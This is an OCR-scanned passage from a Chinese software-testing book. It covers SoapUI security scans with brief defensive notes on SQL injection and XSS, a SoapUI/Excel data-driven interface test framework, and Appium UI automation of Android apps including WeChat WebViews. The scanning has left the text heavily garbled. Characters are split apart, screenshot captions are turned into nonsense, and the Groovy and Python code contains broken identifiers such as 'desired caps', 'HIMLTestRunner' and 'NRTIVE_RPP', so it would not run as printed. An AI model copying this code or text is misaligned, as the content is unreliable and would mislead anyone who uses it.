(2) 之 后 根据 提示 一 直 单 击 Next 按钮 ,直到 最 后 单 击 Finish 按钮 ,最 终 
如 图 5. 24 所 示 。 


图 5.24 SecurityTest 


(3) 单 击 导 航 上 的 绿色 小 箭头 即 可 进行 测试 ,测试 结束 后 单 击 文档 图 标 
可 生成 报告 。 若 扫描 结果 没 问 题 则 显示 绿色 , 若 有 问题 则 显示 非 绿色 。 这 里 
需要 注意 的 是 ,即使 SoapUI 给 出 提示 某 个 安全 扫描 项 有 问题 ,也 要 进行 排查 。 
最 后 普及 一 下 典型 的 安全 测试 知识 ,具体 介绍 如 下 。 


1. SQL 注入 


SQL 注入 的 通俗 解释 就 是 通过 把 特殊 的 或 者 恶意 的 SQL 代码 注入 表 
单 进行 提交 ,提交 后 后 台 程 序 运 行 了 该 段 代 码 ,最 终 把 隐私 信息 暴露 了 出 
来 。 比 如 ,前 几 年 各 大 网 站 的 信息 泄漏 。 一 般 预 防 的 方法 有 如 下 几 种 。 
。 对 用 户 的 输入 一 定 要 进行 校 验 ,尤其 是 对 单 引 号 和 双 引 号 要 进行 
转换 。 
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。 为 每 个 应 用 使 用 单独 的 数据 库 连 接 权 限 。 
。 坚决 不 使 用 动态 方式 拼接 SQL 语句 。 
。 所 有 隐私 的 信息 尽 可 能 不 要 暴露 ,包括 提示 。 有 的 网 站 访问 出 问题 
后 并 没有 对 错误 页 做 统一 处 理 , 而 是 把 错误 以 及 服务 器 信息 完全 暴 
露 了 。 


2. CSS 跨 站 式 脚本 攻击 (又 名 XSS) 


跨 站 式 脚 本 攻击 是 指 攻击 者 在 页 面 中 插入 了 恶意 的 HTML 代码 , 当 用 
户 触 发 时 ,这 段 恶意 代码 就 会 被 执行 ,如 常见 的 Cookie 盗 取 。 图 5. 25 为 早 
期 新 浪 微 博 存 在 的 XSS 漏洞 。 


| aad 尖 岗 卫 税 " 巩 各 局 旨 大 " 医 目 现 扬 互动 a 
由 网; 属 月 各 日 周三 12:13 - 29-05 于 天 吓人 
正在 进行 ， Se 给 占 ; 化 IE 北 碾 
5 R: Oi 
了 一 征 介 : 大 并 机 
即将 开 始 EE=Y 
历史 回顾 


本 17:90 - 12 月 31 日 同 六 23-55 【下 二 过 让 
丁 中 发展 站 刀 宁 


人 < 二 人 - 


图 5:25 XSS 


一 般 的 预防 方法 也 是 要 对 前 端 和 后 端 做 双 端 验证 .过 滤 特殊 字符 、 对 
HTML 的 属性 进行 过 滤 等 。 


5.5 SoapUI 轻 量 级 接口 自动 化 测试 框架 


目前 ,对 于 “ 轻 量 级 ”并 没有 一 个 确定 的 概念 ,可 理解 为 “重量 级 ”的 反 
面 ,也 就 是 说 相对 比较 轻便 。 本 节 介 绍 如 何 利 用 SoapUI 构建 一 个 轻 量 级 接 
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口 测试 框架 。 说 到 这 里 ,也 许 有 朋友 会 觉得 这 个 过 程 很 高 大 上 ,其 实 这 只 是 
概念 包装 而 已 ,只 要 理解 了 本 质 ,就 不 会 这 么 想 了 。 

任何 测试 框架 都 有 一 个 基本 的 思想 , 那 就 是 脚本 和 数据 的 分 离 , 好 处 
是 业务 测试 人 员 可 以 专心 地 设计 测试 用 例 ,并 且 方 便 管理 数据 。 这 里 我 
们 就 用 SoapUI 和 最 常用 的 Excel 来 完成 轻 量 级 的 接口 测试 框架 。 实 现 
过 程 并 不 高 大 上 ,但 可 以 给 迷茫 的 朋友 提供 一 种 思路 ,这 就 是 其 价值 
所 在 。 

实现 本 框架 的 大 致 思路 : 利用 SoapUI 完成 接口 的 请 求 处 理 等 ,Excel 
完成 人 参 和 结果 数据 的 记录 。 这 里 的 Excel 建议 使 用 2003 版 ,其 他 版 本 的 
可 能 会 有 问题 。 此 处 我 们 继续 以 获得 腾讯 QQ 在 线 状 态 的 WebService 接口 
为 例 , 大 致 实现 步骤 如 下 。 

(1) 完成 最 基本 的 接口 调试 ,并 保证 可 以 正常 执行 。 

(2) 在 外 部 建立 Excel, 需 要 的 字段 为 dqCode(QQ 号 码 )、expected_ 
result( 期 望 结 果 ) actual_result( 实 际 结果 ) ,is_pass( 是 否 通过 ), 当 然 这 些 
字段 可 以 根据 实际 情况 自行 扩展 ,这 里 用 的 都 是 基本 的 字段 ,并 未 进行 
扩展 。 

(3) 确定 Excel 中 的 字段 后 再 把 需要 的 测试 数据 写 人 对 应 的 字段 中 即 
可 ,其 中 actual_result( 实 际 结果 ) \is_pass( 是 否 通过 ) 留 空 ,它们 会 在 脚本 执 
行 完成 后 自动 填写 。 

(4) 创建 DataSource, 用 来 读 取 Excel 中 的 数据 ,如 图 5. 26 所 示 。 其 中 
File 是 文件 路 径 ; Worksheet 是 工作 短 ; Start at Cell 是 要 开始 的 单元 格 ; 
左 侧 的 两 个 Properties 用 来 接收 数据 。 


qqCode 
expected_result File: E:/soapui workspace/qqCheckOnline.xls 


Worksheet: Sheet1 


Start at Cel |A2 


Ignore Empty: 口 ] Select if rows containing empty data should 


图 5. 26 DataSource 
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(5) 请 求 中 的 入 参 qqCode 替换 为 DataSource 中 的 ,这 样 就 可 以 从 
Excel 中 读 取 数 据 了 。 

(6) 创建 PropertyTransfer, 获 取 响 应 中 的 结果 用 于 后 续 判 断 是 否 成 功 ， 
如 图 5. 27 所 示 。 其 中 左 侧 的 Transfers 就 是 用 来 接收 响应 中 指定 的 数据 
的 ,也 就 是 qdqCheckOnlineResult 的 值 。 


tO ofb@r 6 


Transfers Source: | 如 | qqCheckOnline | Property: |Response ”| 电 
[aqcheckOnlineRed declare namespace ns1="http://WebXml.com.cn/’; 


//nsl:qqCheckOnlineResponse[1]/nsl:qqCheckOnlineResult[1] 


[a 
Target | 三 Properties 1 | Property: |qqCheckOnlineR. ~| 生 


回 Failtransfer on error 由 Set null on missing source 
[¥] Transfer text content Ignore empty/missing values 
口 Transferto all 口 Use XQuery 

1 | 口 Entitize transferred value(s) 口 Transfer Child Nodes 


图 5. 27 PropertyTransfer 


(7) 创建 Groovy Script, 在 这 里 需要 自己 编写 脚本 , 主要 是 完成 从 
Excel 里 读 取 预期 结果 然后 和 实际 结果 做 对 比 , 并 把 对 比 结果 返回 ,代码 如 
下 ,里 面 有 部 分 注释 。 


// 从 DataSource 中 获取 expected_result 的 值 

def expected result = context. expand('$ {DataSource# expected result}') 
// 从 响应 结果 中 获取 qqCheckOnlineResult 的 值 

def response = context.expand( '$ {Properties 1#qqCheckOnlineResult}') 
// 把 预期 结果 和 实际 响应 做 对 比 ,成 功 返 回 pass, 失败 返 回 fail 

if(expected result == response) 

{ 


return "pass" 


} 


else 


return "fail" 


} 


0 大 话 软 件 测试 


性 能 、 自 动 化 及 团队 管理 


小 强 课 和 莹 


此 处 使 用 了 SoapUI 中 的 Groovy 脚本 编程 , 它 和 Java 类似, 但 又 有 
些 不 一 样 。 比 如 ,Groovy 脚本 中 不 需要 显 式 声明 变量 类 型 , 它 可 以 自动 
识别 。 关 于 更 多 Groovy 脚本 的 介绍 可 以 到 官网 查看 ,地 址 为 http:// 
groovy-lang. org/learn. html。 

在 SoapUI 中 尝试 用 的 方法 有 getPropertyValue、setPropertyValue、 
context. expand .getXmlHolder .getNodeValue 等 。 


(8) 创建 DataSink, 把 对 比 结果 写 到 Excel 中 ,如 图 5. 28 所 示 。 其 中 左 
侧 的 Value 就 是 代码 中 的 获取 方法 。 


av 口 呈 了 n DX Datasinic[Erel 7) 


Name Value Configuration 
achual resukt S$tProperties 1#~ | || Fie: EV/soapui workspace/qqCheckOnlinexs 
is_pass StGroovy Script... 
Out File: Eysoapui workspace/qqCheckOnline.xls 
Worksheet: Sheetl 
Start at Cell: C2 
(RejGenerate Properties: | 人 


图 5. 28 DataSink 


小 强 课 党 


如 果 说 DataSource 是 从 外 部 介质 读 取 数据 ,那么 DataSink 就 是 把 
内 部 的 数据 存储 到 外 部 介质 中 。 此 处 就 是 把 获取 的 实际 结果 和 是 否 通 
过 两 个 数值 写 入 到 外 部 介质 Excel 中 。 


(9) 创建 DataSource Loop ,完成 数据 的 循环 操作 。 同 样 , 需 要 注意 它们 
的 顺序 。 

(10) 执行 TestCase 并 查看 Excel 结果 ,如 图 5. 29 所 示 。 

到 此 我 们 就 完成 了 一 个 轻 量 级 接口 测试 框架 的 构建 ,一 个 基础 的 框架 
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4 A B | € D 

1 qqcode expected result lactual result is pass | 
2 12423597857 上 人 Pass 
3 12083503238 Y 他 pass 


就 此 诞生 了 。 是 不 是 比 想象 中 要 简单 呢 ? 其实 正如 在 第 1 章 中 和 大 家 分 享 
的 一 样 , 自 动 化 测试 重要 的 是 有 思路 ,有 了 思路 之 后 都 可 以 想 办 法 实现 。 当 

然 , 这 个 轻 量 级 框架 只 是 一 个 基本 的 骏 形 ,还 有 很 多 地 方 可 以 改进 和 完善 ， 
感 兴趣 的 读者 可 以 自己 研究 ， 也 欢迎 与 作者 交流 分 享 。 


5.6 ”本章 小 结 


本 章 对 如 何 使 用 SoapUI 工具 进行 接口 级 的 各 类 测试 做 了 讲解 ,并 对 大 
家 经 常 遇 到 的 接口 依赖 的 问题 做 了 解答 ,最 后 的 轻 量 级 接口 测试 框架 也 可 
以 很 好 地 应 用 到 实际 工作 中 ,虽然 篇 幅 不 算 很 多 ,但 内 容 比 较 实 用 。 
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随 着 移动 互联 网 的 发 展 , 移 动 端的 测试 需求 也 越 来 越 多 ,但 对 于 移动 端 
的 测试 认 知 ,我 个 人 觉得 并 没有 Web 端 成 熟 ,很 多 朋友 在 理解 上 都 存在 一 定 
的 误区 。 
这 里 必须 再 次 强调 一 下 ,从 移动 端的 性 能 测试 和 自动 化 测试 方面 来 看 
移动 端 和 Web 端 测试 可 以 这 样 理解 。 
(1) 性 能 测试 方面 。 
。 移动 APP 后 端的 性 能 测试 方法 和 Web 端 基本 一 样 。 
。 现在 大 家 都 将 移动 APP 前 端的 性 能 测试 方法 称 为 专项 测试 ,一 般 通 
过 硬件 .软件 .Android 命令 . 插 桩 等 方法 进行 测试 。 

(2) 自动 化 测试 方面 。 

。 不 论 是 移动 APP 端 还 是 Web 端 ,在 接口 层 的 自动 化 测试 方法 上 基 
本 是 一 致 的 ,而 且 这 个 也 是 我 推荐 大 家 尝试 的 。 

。 在 UI 层 的 自动 化 测试 原理 上 大 同 小 异 , 如 果 有 Web 端 UI 层 的 自动 
化 测试 经 验 , 那 么 学 习 移 动 端 UI 层 的 自动 化 测试 就 会 比较 快 。 

本 章 讲 解 可 以 跨 iOS 和 Android 平台 的 Appium 框架 ,因为 作者 环境 的 
限制 ,所 以 主要 以 Appium 在 Android 平台 上 的 应 用 为 主 。 更 多 内 容 可 以 参 
考官 网 的 文档 , 它 是 我 们 学 习 的 最 佳 资料 。 

当然 ,下 面 所 讲 内 容 也 只 是 Appium 应 用 中 的 冰山 一 角 , 希 望 能 给 即将 
使 用 或 刚刚 使 用 Appium 的 朋友 们 提供 一 点 思路 。 
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6.1 Appium 介绍 


Appium 是 一 款 开 源 的 、 跨 平台 的 UI 自动 化 测试 工具 ,是 适用 于 测试 原 
生 的 或 者 混合 型 的 移动 APP ,支持 et Android、Firefox OS 等 平台 ， 
同时 该 框架 支持 Java、Python、PHP 等 语言 编写 测试 脚本 。 

Appium 在 Android 下 的 工作 模式 如 图 6. 1 所 示 。 


UIAutomator 


JSON >=17 
wire 
protocol | I 
Test Scripts 前 Bootstrap.jar 
ea 
td 一 
[| Appium Server 
Selendroid 
<= 17 


图 6.1 Appium 在 Android 下 的 工作 模式 


大 致 的 工作 原理 : Test Scripts 就 是 我 们 的 测试 脚本 ,由 它 发 出 一 个 请 
求 到 Appium Server( 支 持 标准 的 JSON Wire Protocol) ,Appium Server 接 
收 到 请 求 后 进行 解析 ,并 把 请 求 转发 给 Bootstrap. jar。Bootstrap. jar 接收 
Appium 的 命令 ,通过 调用 UIAutomator 的 命令 来 实现 操作 ,最 终结 果 再 由 
Bootstrap. jar 返回 给 Appium Server。 回 zas 

关于 Appium 的 环境 安装 , 扫 右 侧 二 维 码 可 以 观看 视频 i 


学 习 。 


6.2 控件 的 识别 与 定位 


在 第 1 章 中 已 经 提 过 ,UI 层 的 自动 化 测试 最 核心 的 就 是 控件 识别 ,只 有 
识别 出 了 控件 ,加 上 对 应 的 操作 才能 完成 测试 。 

Appium 中 控件 的 识别 完全 继承 了 WebDriver 中 所 定义 的 方法 , 除 此 之 
外 还 扩展 出 了 一 些 适合 移动 端的 方法 。 一 般 对 移动 端 控件 的 识别 都 是 通过 
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text、resource-id、class、xpath 等 完成 的 ,当然 还 可 以 由 Appium 扩展 出 来 的 
accessibility id ,android uiautomator 等 完成 识别 。 之 所 以 会 有 这 么 多 的 识 
别 方法 ,就 是 为 了 解决 某 些 控件 在 一 种 方法 下 无 法 识别 的 时 候 可 以 换 男 外 
几 种 方法 识别 。 

那么 ,我 们 要 用 什么 工具 来 识别 这 些 控件 呢 ? 可 以 选用 Appium 
Inspector、uiautomatorviewer. bat 或 hierarchyviewer. bat。 其 中 个 人 比较 推 
荐 使 用 uiautomatorviewer. bat ,识别 出 来 的 控件 效果 如 图 6. 2 所 示 。 在 图 
中 可 以 看 到 我 们 在 之 前 提 到 的 text、resource-id、class 等 识别 属性 。 


4 (0) LinearLayout [0.136]| < 
(0) Button:7 [1,136][€ 
(1) Button:8 [61,136] 
(2) Button:9 [121,13€ 
(3) Button:> { 除 } [1381 

4 (1) LinearLayout [0,202]|= 
(0) Button4 [1,202]td 
(1) Button:5 [61,202] 
(@ Button:6 [121,202 _ 


| 


Node Detail 
index 2 ^ 
text 6 

resource-id com.android.calculator2:id/di.. 
class android.widget.Button | 
package com.android.calculator2 1 
content-desc 

checkable false 

checked false 

clickable true 

enabled true 


图 6.2 uiautomatorviewer. bat 控件 识别 


此 处 以 Python 脚本 语言 为 例 ,常见 的 控件 定位 方法 如 下 (更 多 方法 可 
以 查看 Appium_Python_Client 的 源码 ): 

。 find_element_by_id() 

。 find_element_by_name() 

。 find_ element_by_class_name() 

。 find_element_by_tag_name() 

。 find_element_by_link_text() 

。 find_element_by_xpath() 

。， find_element_by_accessibility_ id() 


。 find_element_by_android_uiautomator() 
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对 于 一 组 元 素 的 定位 则 是 在 上 面 的 element 后 面 多 加 了 一 个 s, 比 如 : 

find elements by_id() 

如 果 想 对 图 6. 2 中 计算 器 里 的 数字 6 进行 控件 定位 ,在 定位 后 进行 单 击 
的 操作 , 则 大 致 的 脚本 代码 如 下 ,此 处 使 用 了 text 属性 进行 定位 : 


driver. find element by name("6").click() 


6.3 常用 的 操作 方法 


面 对 一 个 移动 端的 APP ,我 们 经 常 使 用 的 操作 无 非 就 是 安装 、 务 载 、 启 
动 , 关 闭 ,后台 运行 .获取 上 下 文 ,键盘 动作 .Touch 动作 、 滑 动 等 。 如 果 想 把 
所 有 操作 都 罗列 出 来 ,内 容 会 比较 多 ,而 且 在 官网 Appium Client Libraries 
中 已 经 对 所 有 的 操作 方法 做 了 说 明 , 大 家 可 自行 查看 ,很 容易 理解 ,地 址 为 
http://appium. io/slate/en/v1. 0.0/? python# lock。 

这 里 就 以 Python 语言 为 例 简 单 讲解 常用 的 操作 如 何 实现 ,其 中 安装 、 
秃 载 \ 启 动 、 关 闭 等 基础 操作 方法 不 作 讲 述 。 

(1) 将 当前 应 用 置 于 后 台 运 行 ; 

driver. background_ app('com. android. calculator2') 

(2) 检查 某 APP 是 否 已 经 安装 : 

driver. is app_installed( 'com. android. calculator2') 

(3) 获取 当前 上 下 文 : 

driver. current context 

(4) 模拟 键盘 输入 : 

send keys( 'xiaoqiang') 


例如 ,如 图 6. 3 所 示 是 一 个 发 送 短信 的 界面 ,如 果 想 在 发 送信 息 中 输入 
某 些 文字 ,可 以 用 如 下 代码 实现 。 


driver. find element by id("com.android.mms:id/embedded text editor").send_ 
keys(hello xiaoqiang) 


(0) LinearLayout [0.55][2404 
(0) LinearLayout [4,59][2 
(0) MultiAutoComple 

(D LinearLayout [0,93][240,. 
(0) ListView [0,93][240,3€ 
(1 LinearLayout [0,363][ 

(0) View [0.363][240.: 

(1) LinearLayout [0,3€ 

(0) EditText: 键 入 信 


4 器 


Node Detail 

| index 0 

| te 链 入 信息 
resource-id com.android.mms:iid/embedd. 
class android.widget.EditText 
package com.android.mms 
content-desc 
checkable false 
checked false 
dlickable true 


enabled true 
键入 信息 | feel ue 
图 6.3 发 送信 息 界面 
(5) 模拟 键 码 输 入 : 
keyevent(54) 
(6) 模拟 点 击 : 
tap( self, element = None, x= None, y= None, count =1) 
(7) 模拟 长 按 : 
long_press(self, el = None, x= None, y= None, duration = 1000)# 最 后 一 个 参数 
代表 长 按 的 时 间 , 单 位 毫秒 
(8) 滑动 : 


swipe(self, start x, start _y, end x, end y, duration = None) 


最 后 分 享 一 点 小 经 验 ,移动 端 UI 层 的 自动 化 测试 最 好 是 在 真 机 中 进 
行 ,模拟 器 中 运行 太 慢 且 与 真 机 还 是 有 一 定 差异 的 。 因 为 涉及 UI 的 展现 和 
操作 ,最 好 每 次 操作 之 间 留 一 定 的 思考 时 间 ,不然 可 能 会 存在 由 于 控件 加 载 
不 完全 而 导致 操作 失败 。 如 果 有 隐藏 的 控件 ,一 定 要 去 判断 状态 , 待 显示 后 
再 去 操作 。 
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6.4 Appium 轻 量 级 UI 自动 化 测试 框架 


熟悉 了 Appium 相关 知识 之 后 来 看 一 个 例子 ,本 节 将 基于 Python 语言 ， 
以 Android 系统 中 自 带 的 计算 器 为 例 , 讲 解 如 何 构建 一 个 轻 量 级 的 UI 层 自 
动 化 测试 框架 。 还 是 那 句 话 ,重点 在 于 思想 ,代码 的 实现 并 不 难 。 

整体 的 代码 逻辑 如 下 。 

。 Python 实现 具体 的 测试 逻辑 。 

。 Unittest 完成 测试 断言 。 

。 HTMLTestRunner 完成 测试 报告 。 

大 致 的 实现 步骤 如 下 。 

(1) 引入 必要 的 包 , 代 码 如 下 : 


import os 

import unittest 

from appium import webdriver 
from time import sleep 
import HIMLTestRunner 


(2) 编写 具体 的 测试 类 ,至 少 包 括 setUp (进行 初始 化 的 操作 )、 
tearDown( 进 行 结束 后 的 清理 工作 ) 和 测试 函数 。 此 处 我 们 测试 1 十 1 是 否 
等 于 2, 对 应 的 测试 函数 为 test_add, 代 码 如 下 : 


class TestAdd(unittest. TestCase) : 
# 初始 化 信息 
def setUp( self): 
desired caps = {} 
desired caps[ 'platformName'] = 'Android' 


desired caps[ 'platformVersion'] = '4.4' 

desired caps[ 'deviceName'] = 'Android Emulator' 
desired caps[ 'appPackage'] = 'com.android. calculator2， 
desired caps[ 'appRctivity'] = '.Calculator' 


self. dr = webdriver. Remote( 'http://localhost:4723/wd/hub', desired_ 
caps) 
# 测试 1+1 是 不 是 等 于 2 
def test add(self): 
self. dr. find element by_id( 'com. android. calculator2: id/digit1'). 
click() 
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self.dr.find element_by_name('+ ').click() 

self.dr.find element by name('1').click() 

self.dr.find element by name('= ').click() 

# 如 果 等 于 2 则 成 功 ,否则 失败 

textfields = self.dr.find elements by class name( 'android. widget. 

EditText') 

self.assertEqual( '2', textfields[0].text, msg= ' 失 败 ') 
# 结束 后 需要 的 清理 工作 
def tearDown( self): 

self.dr. find element_by name( ' 清 除 ').click() 

self. dr. quit() 


(3) 运行 测试 并 生成 报告 。 
# 执 行 并 产生 报告 


suite = unittest.TestSuite() 
suite.addTest(TestAdd( "test add")) 
filename = "D:\myAppiumLog. html" 


fp= open(filename, 'wb') 

并 使 用 HTMLTestRunner 生成 测试 报告 

runner = HTMLTestRunner .HIMLTestRunner (stream= fp,title= ' 小 强 python 自动 化 测 
试 班 description = ' 这 是 一 个 基于 python 的 Rppium 轻 量 级 自动 化 测试 演示 ') 
runner.run(suite) 


fp. close() 


最 后 生成 的 测试 报告 如 图 6.4 所 示 。 测 试 报告 的 格式 和 内 容 都 可 以 自 
定义 ,需要 通过 修改 源码 来 实现 。 


Report_title 


Start Time: 2016-05-29 20:36:07 
Duration: 0:01:39.480862 
Status: pass 1 


Report_description 


Show Summary Failed All 


图 6.4 测试 报告 


这 个 代码 本 身 并 不 复杂 ,重点 是 想 把 思想 传递 给 大 家 ,框架 本 身 还 有 很 
大 的 改进 余地 ,大 家 不 必 纠 结 , 感 兴趣 的 朋友 可 以 自行 研究 。 比 如 ,如 何 把 
Page Object 的 思想 放 到 此 框架 中 ; 如 何 把 测试 数据 迁移 出 来 ; 如 何 把 固定 
信息 转变 为 配置 文件 ; 如 何 和 Jenkins 结合 完成 定时 自动 运行 等 。 
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6.5 微 信 的 UI 层 自动 化 测试 探索 


总 会 有 人 间 微 信 的 自动 化 测试 怎么 做 。 个 人 觉得 除非 你 的 产品 是 基于 
微 信 进行 的 全 新 开发 且 独 立 部 署 运营 ,否则 真 没 必要 。 不 过 既然 问 的 人 这 
么 多 就 借 此 来 抛砖引玉 说 一 下 。 


6.5.1 微 信 的 本 质 


简单 来 说 , 微 信 其 实 就 是 一 个 混合 的 APP, 客 户 端 里 嵌入 的 WebView。 
很 多 朋友 之 所 以 不 懂 就 是 因为 大 家 用 UIAutomator 识别 元 素 发 现 根本 识别 
不 到 ,于 是 就 混乱 了 。 

APP 中 的 native 可 以 用 uiautomator 来 查看 元 素 , WebView 中 的 
native 可 以 使 用 Chrome 来 查看 。 

正式 进入 主题 之 前 请 允许 我 小 小 抱怨 下 微 信 打 开 WebView 的 速度 好 
人 慢 啊 ,大 家 知道 这 是 为 啥 吗 ? 这 里 来 科普 一 下 。 

打开 一 个 WebView 要 经 历 如 图 6. 5 所 示 的 过 程 。 可 见 大 部 分 时 间 都 
是 白 页 ,这 就 是 打开 WebView 总 是 长 时 间 看 到 白 页 ,最 后 一 下 才 出 来 数据 
的 原因 。 明 白 了 这 个 过 程 , 针 对 WebView 的 优化 也 是 从 这 些 节点 一 一 着 手 
的 。 所 以 分 析 一 个 应 用 时 一 定 要 明白 它 的 过 程 , 这 样 我 们 就 能 一 步 步 地 分 
析 优 化 ,最 终 提升 整体 的 性 能 ,这 个 过 程 再 次 体现 了 思维 的 重要 性 。 

sm | 


初始化 Ds i ee 
启动 浏览 器 建立 连接 a A Re 
内 术 i i 
h 


bh 
白 页 Loading 状 态 


图 6.5 WebView 过 程 


6.5.2 如何 查看 微 信 WebView 中 的 元 素 


首先 需要 满足 几 个 前 提 条 件 。 
。 手 机 打开 “开发 者 模式 ”。 
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。 APP 是 debug 模式 ( 别 问 我 怎么 弄 , 自 己 问 开发 )。 

。 手机 通过 USB 连接 计算 机 , 且 能 够 识别 出 来 手机 。 

具体 识别 元 素 的 步骤 大 致 如 下 。 

。 打开 微 信 ,在 任意 对 话 框 中 输入 debugx5. qq. com 并 发 送 。 

。 点 击发 送 成 功 的 debugx5. qq. com, 稍 等 片刻 进入 设置 页 面 ,切换 到 
“信息 ”, 选 中 “是 否 打 开 TBS 内 核 Inspector 调试 功能 ”, 如 图 6.6 所 
示 , 设 置 完 成 后 退出 。 


BD ng 
TBS 内 核 版 本 号 : 043632 


TBS 包 装 层 版 本 号 : 43603 


襄 ] 忽略 是 否 安装 完整 版 QB 


是 否 打开 TBS 内 核 Inspector 调 试 功能 


[一 是 天 打开 TBS 内 核 小 程序 调试 功能 


图 6.6 微 信 调 试 页 面 
。 进 入" 发现" =* 看 一 看 "。 
。 打开 Chrome, 地 址 栏 输入 chrome:/Vinspect/ 井 devices, 可 以 看 到 设 
备 或 者 你 访问 的 资源 。 
。 随便 点 击 “ 看 一 看 ”里 的 一 篇 文章 ,在 Chrome 中 会 自动 显示 出 来 ， 
图 6.7 中 的 专题 就 是 点 击 “ 看 一 看 ”之 后 出 来 的 。 


EE CI Chrome Throme /nspect/ Toevces 
DevTools Devices 


加 Discover Uss devices Portforwarding 
困 Discover network targets [configure.. | 
Open dedicated DevTools for Node 


Remote Target slocaosT 
Redmi Note 2 :=e6sccwruaAAaz4DIR 
Webview (53.0.2785.49) 


看 一 看 专题 https//mp we 
inspect 


untitled file:///data/data 
inspect 


untitled httpsV/serv 
inspect 


wnttied fle///data/data/com tencent mm/filey/pubhc/fty/res/app htmlainpun 
inspect 


图 6.7 Chrome WebView 
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。 选择 对 应 的 inspect 就 可 以 看 到 页 面 了 , 接 下 来 可 以 轻松 识别 元 素 ， 
如 图 6.8 所 示 , 和 用 Fl12 查看 元 素 没有 区 别 。 此 处 需要 有 访问 
Google 的 权限 ,否则 显示 的 是 白 页 。 


2017 年 度 十 大 辟谣 ， 你 中 招 了 几 个 ? 


谣言 NO.1 


别 了 司机 ! 刚刚 ， 深 圳 正式 宣布 1 | 


真相 日前， 深圳 巴士 集团 对 此 辟谣 
称 " 有 人 驾驶 、 试 验 线路 、 只 针对 特 
定 人 和 群 开放 。 无 人 冯 , 仍 
停留 在 功能 和 技术 层面 。" 目 前 这 . 


图 6.8 元 素 识 别 


6.5.3 小 实战 


上 面 这 些 搞定 了 ,在 Appium 里 写 Python 代码 就 简单 了 , 先 介绍 关键 的 


几 个 点 。 


。 微 信 的 package name 是 com. tencent. mmo,activity 是 com. tencent. 


mm. ui. LauncherUI, 
desired caps[ 'chromeOptions'] = {'androidProcess': 'com. tencent. mm:tools'} 
。 可 以 通过 下 面 的 语句 输出 WebView 的 名 称 : 


contexts = driver. contexts 


print( 'contexts = ', contexts) 


。 使 用 下 面 的 语句 切换 到 指定 的 WebView 里 : 


driver. Switch to. context( 'WEBVIEW_ com. tencent. mm:tools') 


。 切换 到 WebView 里 面 , 剩 下 的 定位 方式 和 Web 一模一样 ,就 是 上 面 
讲 的 元 素 识别 方法 。 
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。 如 果 想 返回 native, 可 以 用 下 面 的 语句 : 


driver. switch to. context("NRTIVE_RPP" ) 


说 完 关 键 点 ,我 们 就 试 试 动手 写 代 码 。 这 里 以 打开 微 信 ,选择 发现” 一 
“看 一 看 ”一 获取 文章 列表 中 某 个 文章 的 标题 为 例 , 其 中 进入 “看 一 看 ”之 后 
就 是 WebView 了 。 可 运行 代码 请 通过 关注 前 言 中 的 微 信 公众 号 之 后 在 对 
话 框 中 回复 “大 话 软 件 测试 "关键 字 进 行 获取 。 


from appium import webdriver 
import time 


desired caps = {} 
desired caps = { 
'platformName': 'Android', 
'platformVersion': '23', 
"deviceName': 'Android Emulator', 
'unicodeKeyboard': 'True', 
'resetKeyboard': 'True' 
'appPackage': 'com. tencent. mm'v 
'appActivity': 'com.tencent. mm. ui. LauncherUI', 
'chromeOptions': {'androidProcess': 'com. tencent. mm:tools'} 
} 
driver = webdriver.Remote( 'http://127.0.0.1:4723/wd/hub', desired caps) 
time. sleep(10) 
driver.find element( 'name', ' 发 现 '). click() 
time. sleep(10) 
driver.find element( 'name', "看 一 看 ").click() 
time. sleep(10) 
# 获取 当前 上 下 文 ,输出 结果 为 ['NATIVE_APP','WEBVIEW_com. tencent. mm:tools'] 
c= driver. contexts 


print(c) 


并 切换 为 webview, 名 称 就 是 从 上 面 的 语句 得 来 的 


driver. Switch to. context( 'WEBVIEW_com. tencent.mm:tools') 


并 获取 h3 标签 的 文本 并 打印 出 来 
titles = driver.find elements('tag name', 'h3') 
print(titles[2].text) 


至 此 就 全 部 完成 了 ,是 不 是 很 简单 ? 
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6.6 本 章 小 结 


本 章 重 点 给 大 家 分 享 了 如 何 利用 Appium 和 第 三 方 类 库 来 完成 一 个 轻 
量 级 的 UI 层 自动 化 测试 框架 ,并 没有 对 Appium 做 过 多 的 介绍 ,其 实学 习 
Appium 最 好 的 资料 就 是 官方 的 文档 。 

另外 ,我 也 想 多 说 一 句 , 评 价 一 个 框架 的 好 与 坏 ,不 能 单纯 以 复杂 度 、 代 
码 量 来 衡量 ,现在 很 多 企业 中 的 自动 化 测试 完全 都 是 用 代码 堆积 起 来 的 , 感 
觉 代 码 越 多 就 越 好 。 我 始终 坚持 ,只 有 适合 自己 的 才 是 最 好 的 ,如 果 在 现 阶 
段 用 一 个 简单 的 框架 就 可 以 事半功倍 , 那 还 有 什么 可 纠结 的 ? 等 以 后 这 个 
框架 不 满足 要 求 了 ,再 进行 优化 就 可 以 了 。 只 有 拿捏 得 当 , 才 会 使 效果 最 
大 化 。 


浅 谈 移动 APP 非 功能 测试 


本 章 之 所 以 没有 起 名 为 “ 浅 谈 移动 APP 专项 测试 ”", 是 因为 我 一 直觉 得 
“专项 ”这 个 词 并 不 能 很 准确 地 表达 , 毕 竞 每 个 公司 从 产品 、 业 务 、 认 知 以 及 
人 力 等 方面 来 考虑 都 不 一 样 。 

同时 ,本章 并 不 会 全 面 地 讲解 移动 APP 的 测试 ,只 是 选取 几 个 热门 的 测 
试点 , 意 在 系统 化 展示 移动 APP 非 功能 测试 的 方法 ,并 选取 可 以 在 大 部 分 公 
司 以 及 团队 应 用 的 方法 进行 讲解 ,而 不 对 全 部 方法 进行 讲解 ,主要 还 是 考虑 
测试 实施 的 可 行 性 ,也 是 本 着 实用 的 原则 。 不 论 是 何 种 测试 ,测试 方法 基本 
都 是 几 种 固定 的 方式 ,只 要 选择 合适 的 即 可 。 

有 时 候 大 家 会 在 意 测 试 数据 是 否 准确 的 问题 ,或 者 觉得 别 的 公司 的 测 
试 方法 高 大 上 ,这 个 担心 是 好 的 。 但 是 现实 中 我 们 会 受到 各 种 约束 ,在 有 限 
的 条 件 下 进行 测试 已 经 不 易 。 比 如 ,打点 ( 埋 点 ) 测 试 , 它 需 要 在 源码 中 进行 
打点 ( 埋 点 ) ,不 是 所 有 公司 都 能 进行 。 测 试 工程 师 没 有 源码 权限 ,这 是 非常 
普遍 的 情况 ,更 有 甚 者 连 测试 手机 都 不 提供 。 所 以 我 觉得 能 够 在 不 同 环境 
中 快速 适应 ,并 选择 合适 的 方法 进行 测试 是 十 分 重要 的 能 力 , 也 就 是 我 们 常 
说 的 适应 能 力 。 有 时 候 大 家 不 要 太 纠 结 , 毕 竞 在 现实 中 我 们 还 是 得 以 完成 
